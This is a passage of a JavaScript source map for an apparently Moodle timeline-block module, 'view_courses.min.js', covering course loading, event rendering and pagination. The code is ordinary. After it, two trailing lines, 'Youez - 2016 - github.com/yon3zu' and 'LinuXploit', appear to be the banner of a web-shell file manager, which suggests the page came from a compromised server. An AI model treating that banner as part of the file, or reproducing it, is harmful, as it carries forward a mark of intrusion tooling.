{array} courses List of course objects.\n     * @param {object} root The root element\n     * @param {Number} midnight The midnight timestamp in the user's timezone.\n     * @param {Number} daysOffset Number of days from today to offset the events.\n     * @param {Number} daysLimit Number of days from today to limit the events to.\n     * @param {string} noEventsURL URL for the image to display for no events.\n     * @return {object} jQuery promise resolved after rendering is complete.\n     */\n    var updateDisplayFromCourses = function(courses, root, midnight, daysOffset, daysLimit, noEventsURL) {\n        // Render the courses template.\n        return Templates.render(TEMPLATES.COURSE_ITEMS, {\n            courses: courses,\n            midnight: midnight,\n            hasdaysoffset: true,\n            hasdayslimit: daysLimit != undefined,\n            daysoffset: daysOffset,\n            dayslimit: daysLimit,\n            nodayslimit: daysLimit == undefined,\n            urls: {\n                noevents: noEventsURL\n            }\n        }).then(function(html) {\n            hideLoadingPlaceholder(root);\n\n            if (html) {\n                // Template rendering is complete and we have the HTML so we can\n                // add it to the DOM.\n                renderCourseItemsHTML(root, html);\n            } else {\n                if (!hasLoadedCourses(root)) {\n                    // There were no courses to render so show the empty placeholder\n                    // message for the user to tell them.\n                    showNoCoursesEmptyMessage(root);\n                }\n            }\n\n            return html;\n        })\n        .then(function(html) {\n            if (courses.length < COURSE_LIMIT) {\n                // We know there aren't any more courses because we got back less\n                // than we asked for so hide the button to request more.\n                hideMoreCoursesButton(root);\n            } else {\n                // Make sure the button is visible if there are more courses to load.\n                showMoreCoursesButton(root);\n            }\n\n            return html;\n        })\n        .catch(function() {\n            hideLoadingPlaceholder(root);\n        });\n    };\n\n    /**\n     * Find all of the visible course blocks and initialise the event\n     * list module to being loading the events for the course block.\n     *\n     * @param {object} root The root element for the timeline courses view.\n     * @return {object} jQuery promise resolved with courses and events.\n     */\n    var loadMoreCourses = function(root) {\n        var offset = getOffset(root);\n        var limit = getLimit(root);\n\n        // Start loading the next set of courses.\n        return CourseRepository.getEnrolledCoursesByTimelineClassification(\n            COURSE_CLASSIFICATION,\n            limit,\n            offset,\n            COURSE_SORT\n        ).then(function(result) {\n            var startEventLoadingTime = Date.now();\n            var courses = result.courses;\n            var nextOffset = result.nextoffset;\n            var daysOffset = getDaysOffset(root);\n            var daysLimit = getDaysLimit(root);\n            var midnight = getMidnight(root);\n            var startTime = getStartTime(root);\n            var endTime = getEndTime(root);\n            var noEventsURL = root.attr('data-no-events-url');\n            // Record the next offset if we want to request more courses.\n            setOffset(root, nextOffset);\n            // Load the events for these courses.\n            var eventsPromise = loadEventsForCourses(courses, startTime, endTime);\n            // Render the courses in the DOM.\n            var renderPromise = updateDisplayFromCourses(courses, root, midnight, daysOffset, daysLimit, noEventsURL);\n\n            return $.when(eventsPromise, renderPromise)\n                .then(function(eventsByCourse) {\n                    if (hasReloadedEventsSince(root, startEventLoadingTime)) {\n                        // All of the events are being reloaded so ignore our results.\n                        return eventsByCourse;\n                    }\n\n                    // When we've got all of the courses and events we can render the events in the\n                    // correct course event list.\n                    courses.forEach(function(course) {\n                        var courseId = course.id;\n                        var events = [];\n                        var containerSelector = '[data-region=\"course-events-container\"][data-course-id=\"' + courseId + '\"]';\n                        var courseEventsContainer = root.find(containerSelector);\n                        var eventListRoot = courseEventsContainer.find(EventList.rootSelector);\n                        var courseGroups = eventsByCourse.groupedbycourse.filter(function(group) {\n                            return group.courseid == courseId;\n                        });\n\n                        if (courseGroups.length) {\n                            // Get the events for this course.\n                            events = courseGroups[0].events;\n                        }\n\n                        // Create a preloaded page to pass to the event list because we've already\n                        // loaded the first page of events.\n                        var pageOnePreload = $.Deferred().resolve({events: events}).promise();\n                        // Initialise the event list pagination area for this course.\n                        Str.get_string('ariaeventlistpaginationnavcourses', 'block_timeline', course.fullnamedisplay)\n                            .then(function(string) {\n                                EventList.init(eventListRoot, COURSE_EVENT_LIMIT, {'1': pageOnePreload}, string);\n                                return string;\n                            })\n                            .catch(function() {\n                                // An error is ok, just render with the default string.\n                                EventList.init(eventListRoot, COURSE_EVENT_LIMIT, {'1': pageOnePreload});\n                            });\n                    });\n\n                    return eventsByCourse;\n                });\n        }).catch(Notification.exception);\n    };\n\n    /**\n     * Reload the events for all of the visible courses. These events will be loaded\n     * in a single request to the server.\n     *\n     * @param {object} root The root element.\n     * @return {object} jQuery promise resolved with courses and events.\n     */\n    var reloadCourseEvents = function(root) {\n        var startReloadTime = Date.now();\n        var startTime = getStartTime(root);\n        var endTime = getEndTime(root);\n        var courseEventsContainers = root.find(SELECTORS.COURSE_EVENTS_CONTAINER);\n        var courseIds = courseEventsContainers.map(function() {\n            return $(this).attr('data-course-id');\n        }).get();\n\n        // Record when we started our request.\n        setEventReloadTime(root, startReloadTime);\n\n        // Load all of the events for the given courses.\n        return getEventsForCourseIds(courseIds, startTime, COURSE_EVENT_LIMIT + 1, endTime)\n            .then(function(eventsByCourse) {\n                if (hasReloadedEventsSince(root, startReloadTime)) {\n                    // A new reload has begun so ignore our results.\n                    return eventsByCourse;\n                }\n\n                courseEventsContainers.each(function(index, container) {\n                    container = $(container);\n                    var courseId = container.attr('data-course-id');\n                    var courseName = container.find(SELECTORS.COURSE_NAME).text();\n                    var eventListContainer = container.find(EventList.rootSelector);\n                    var pageDeferred = $.Deferred();\n                    var events = [];\n                    var courseGroups = eventsByCourse.groupedbycourse.filter(function(group) {\n                        return group.courseid == courseId;\n                    });\n\n                    if (courseGroups.length) {\n                        // Get the events just for this course.\n                        events = courseGroups[0].events;\n                    }\n\n                    pageDeferred.resolve({events: events});\n\n                    // Re-initialise the events list with the preloaded events we just got from\n                    // the server.\n                    Str.get_string('ariaeventlistpaginationnavcourses', 'block_timeline', courseName)\n                        .then(function(string) {\n                            EventList.init(eventListContainer, COURSE_EVENT_LIMIT, {'1': pageDeferred.promise()}, string);\n                            return string;\n                        })\n                        .catch(function() {\n                            // Ignore a failure to load the string. Just render with the default string.\n                            EventList.init(eventListContainer, COURSE_EVENT_LIMIT, {'1': pageDeferred.promise()});\n                        });\n                });\n\n                return eventsByCourse;\n            }).catch(Notification.exception);\n    };\n\n    /**\n     * Add event listeners to load more courses for the courses view.\n     *\n     * @param {object} root The root element for the timeline courses view.\n     */\n    var registerEventListeners = function(root) {\n        CustomEvents.define(root, [CustomEvents.events.activate]);\n        // Show more courses and load their events when the user clicks the \"more courses\"\n        // button.\n        root.on(CustomEvents.events.activate, SELECTORS.MORE_COURSES_BUTTON, function(e, data) {\n            enableMoreCoursesButtonLoading(root);\n            loadMoreCourses(root)\n                .then(function() {\n                    disableMoreCoursesButtonLoading(root);\n                    return;\n                })\n                .catch(function() {\n                    disableMoreCoursesButtonLoading(root);\n                });\n\n            if (data) {\n                data.originalEvent.preventDefault();\n                data.originalEvent.stopPropagation();\n            }\n            e.stopPropagation();\n        });\n    };\n\n    /**\n     * Initialise the timeline courses view. Begin loading the events\n     * if this view is active. Add the relevant event listeners.\n     *\n     * This function should only be called once per page load because it\n     * is adding event listeners to the page.\n     *\n     * @param {object} root The root element for the timeline courses view.\n     */\n    var init = function(root) {\n        root = $(root);\n\n        setEventReloadTime(root, Date.now());\n\n        if (root.hasClass('active')) {\n            // Only load if this is active otherwise it will be lazy loaded later.\n            loadMoreCourses(root);\n            root.attr('data-seen', true);\n        }\n\n        registerEventListeners(root);\n    };\n\n    /**\n     * Reset the element back to it's initial state. Begin loading the events again\n     * if this view is active.\n     *\n     * @param {object} root The root element for the timeline courses view.\n     */\n    var reset = function(root) {\n        root.removeAttr('data-seen');\n        if (root.hasClass('active')) {\n            shown(root);\n        }\n    };\n\n    /**\n     * If this is the first time this view has been displayed then begin loading\n     * the events.\n     *\n     * @param {object} root The root element for the timeline courses view.\n     */\n    var shown = function(root) {\n        if (!root.attr('data-seen')) {\n            if (hasLoadedCourses(root)) {\n                // This isn't the first time this view is shown so just reload the\n                // events for the courses we've already loaded.\n                reloadCourseEvents(root);\n            } else {\n                // We haven't loaded any courses yet so do that now.\n                loadMoreCourses(root);\n            }\n\n            root.attr('data-seen', true);\n        }\n    };\n\n    return {\n        init: init,\n        reset: reset,\n        shown: shown\n    };\n});\n"],"file":"view_courses.min.js"}

Youez - 2016 - github.com/yon3zu
LinuXploit